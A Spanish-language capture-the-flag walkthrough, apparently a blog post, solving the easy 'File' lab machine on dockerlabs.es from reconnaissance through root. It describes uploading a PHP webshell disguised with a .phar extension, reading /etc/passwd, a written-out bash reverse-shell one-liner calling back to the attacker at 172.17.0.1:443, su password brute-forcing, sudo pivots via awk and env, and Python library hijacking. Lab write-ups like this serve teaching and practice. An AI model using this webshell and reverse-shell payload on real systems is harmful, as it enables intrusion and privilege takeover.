File
Que tal lord & lady
El día de hoy traigo para ustedes una nueva resolución de maquina de la plataforma de https://dockerlabs.es, la maquina File.
Esta maquina es creada por Scuffito y Jul3-dot, tiene una dificultad fácil y es la maquina elegida para hackear y romper el día de hoy.
Requisitos previos:
- Tener configurado al menos una virtual como Kali o Parrot (link aquí)
Write Up maquina File #dockerlabs.es
Reconocimiento
Ping
Enumeración
Servicios y versiones
Primeramente vemos 2 puertos abiertos, vamos a indagar mucho más en ellos...
[Opcional]
Algo que también pudiéramos hacer es intentar buscar vulns conocidas utilizando nmap.
Esto se logra colocando --scripts vuln en los puertos que ya tenemos reconocidos:
Como podemos observar en el resultado, vemos que nos menciona un CVE en el servicio de FTP, tal ves pudieramos darle un vistazo.
Además que en el puerto 80, en el servicio web, nos menciona un directorio que, si hacemos fuzzing, tal ves nos lo muestre, así que tengamos esto muy en cuenta.
Puerto 21 - vsftpd
Anonymous?
Vamos a ver si este servicio cuenta con un usuario anonymous con el que podamos ingresar:
Interesante!
Si nos ha dejado ingresar con las credenciales anónimas (anonymous:anonymous) al servicio de ftp.
Además, hemos descargado un archivo en el directorio llamado anon.txt, vamos a ver que contiene:
Interesante!
Contiene algún tipo de texto que pareciera que esta en algún tipo de cifrado o hash, vamos a copiarlo a ver si lo podemos descifrar en internet con herramientas típicas como hashes.com o Crackstation.net:
Bien
Si, es justo lo que pensábamos es un hash md5 que su valor es "justin"
Pudiéramos intentar ingresar con este usuario al ftp:
Bueno, lo teniamos que intentar...
Da de que pensar, pudiera ser un usuario, por ahora tengamos este dato en mente... sigamos.
Puerto 80 - Apache httpd 2.4.41 (for Ubuntu)
Whatweb
No vemos mucho por aqui
Sitio + Wappalizer:
Podemos ver cosas que ya sabiamos desde el wappalizer y ademas unos archivos tipicos de configuración, vale!
Como es ya tipico, vamos a realizar Fuzzing con gobuster
Fuzzing
Hemos conseguido un recurso adicional "file_upload.php"
Excelente!
Aquí pudiéramos intentar subir una WebShell con php, vamos a ver si lo conseguimos:
[mi cmd.php]
Te recuerdo que este es el archivo PHP que yo utilizo para mandar comandos a través de una carga de archivo php.
Vale, al intentar subir el archivo me marca lo siguiente:
Es momento de utilizar nuestra arma secreta, Burpsuite... lo abrimos y lo preparamos para poder interceptar la petición:
Lo mandamos al repeater (con Ctrl + R) y jugamos con la peticion un poco...
...
Vale, despues de jugar un poco con las extensiones validas de PHP, finalmente pude conseguir subir el archivo.
Para subir el archivo hay que mandarlo con extension "phar":
Ya con lo anterior somos capaces de mandar comandos:
URL utilizada:
http://172.17.0.2/uploads/cmd.phar?cmd=whoami
... Y si hacemos un cat a /etc/passwd?
Bingo
Desde aquí podemos extraer usuarios validos:
¿Que pudieramos hacer con esta information valiosa?
Una pudiera ser fuerza bruta con hydra
Otra pudiera ser obtener una revershell y de ahi escalar privilegios
Explotación
Preparamos nuestra maquina de atacante:
Ahora preparamos nuestro payload en la url de la maquina victima:
Post-Explotación
[mi payload]
172.17.0.2/uploads/cmd.phar?cmd=bash -c "bash -i >%26 /dev/tcp/172.17.0.1/443 0>%261"
Hemos conseguido entrar!
Post-Explotación
Tratamiento de la tty
Damos Ctrl + Z
Y listo! ya deberíamos tener una terminal totalmente interactiva!
Escalada de privilegios
Vale, he estado intentando enumerar un poco algo del sistema pero no he encontrado mucho...
Sudoers, nada (al menos para el usuario www-data)
SUIDs (con find / -perm -4000 2>/dev/null)
GUIDs (con find / -perm -2000 2>/dev/null)
archivos escribibles (con find / -writable 2>/dev/null)
Capabilities...
...
Pues algo que se me ocurre hacer es fuerza bruta, al final si haré fuerza bruta
Utilizaremos un recurso muy conocido, tal ves no el favorito de muchos el suBF...
Lo descargamos e iniciamos un servidor web en python:
En nuestra maquina victima vamos a la carpeta /tmp , creamos una carpeta nuestra y desde ahí obtenemos el recurso
Ahora, para poder utilizar este recurso, es necesario tener un diccionario de contraseñas, para esto vamos a utilizar una mini version de nuestro famoso rockyou.txt
Vamos a obtener las primeras 1000 contraseñas de este archivo, y luego lo pasamos a nuestra maquina victima utilizando el servidor web en python:
Descargamos el recurso...
Y vamos a intentar con nuestro usuarios obtenidos:
fernando:
mario:
iker:
Bueno, intentamos con fernando
Somos fernando
Vamos a ver si tenemos algún permiso especial con sudo
No, vamos a la ver que hay en nuestra carpeta:
revisando un poco más a fondo, incluso pasando por base64 el archivo dragon-medieval.jpeg a mi maquina atacante para revisar, todo parece indicar que aquí no hay mucho por hacer...
Vamos ahora a probar con el usuario mario:
Vale, somos mario
Vamos a ver permisos especiales de sudoers
Podemos ejecutar el binario awk como el usuario julen
Según gtfobins podemos pivotar desde mario a julen con este binario:Revisamos sudoers:
Ahora podríamos pivotar usuario, vamos a revisar que opciones tenemos con el binario env:
Ahora somos iker,
Vamos a ver permisos sudoers
Interesante
Podemos ejecutar python3 y un archivo geo_ip.py
Vamos a analizarlo para ver si podemos escalar privilegios, ya que como vemos python3 su propietario es root:
Viendo el archivo geo_ip_py
Algo que se me antoja hacer aqui es un "Python library hijacking"
Vamos a ver si funciona
En la carpeta actual creamos un archivo que se llame requests.py que contenga lo siguiente:
Ahora intentamos ejecutar según sudoers:
Y booom!!! hasta la cocina!
Somos root!
Conclusión
En esta maquina hemos explotado totalmente una vulnerabilidad web donde pudimos subir un archivo php malicioso en el cual pudimos obtener una reverseShell.
Posteriormente, obtuvimos los usuarios disponibles y a través de fuerza bruta obtuvimos 2 de las 4 posibles contraseñas, del usuario fernando y el usuario mario.
Una vez aquí, pivotamos con la configuración de sudoers hasta hacernos de usuario root a través de un python library hijacking.
Espero que esta maquina y su resolución te haya gustado.
Yo te leo en una siguiente maquinita ya sea de dockerlabs.es o de HTB.
Hasta luego!
Comentarios
Publicar un comentario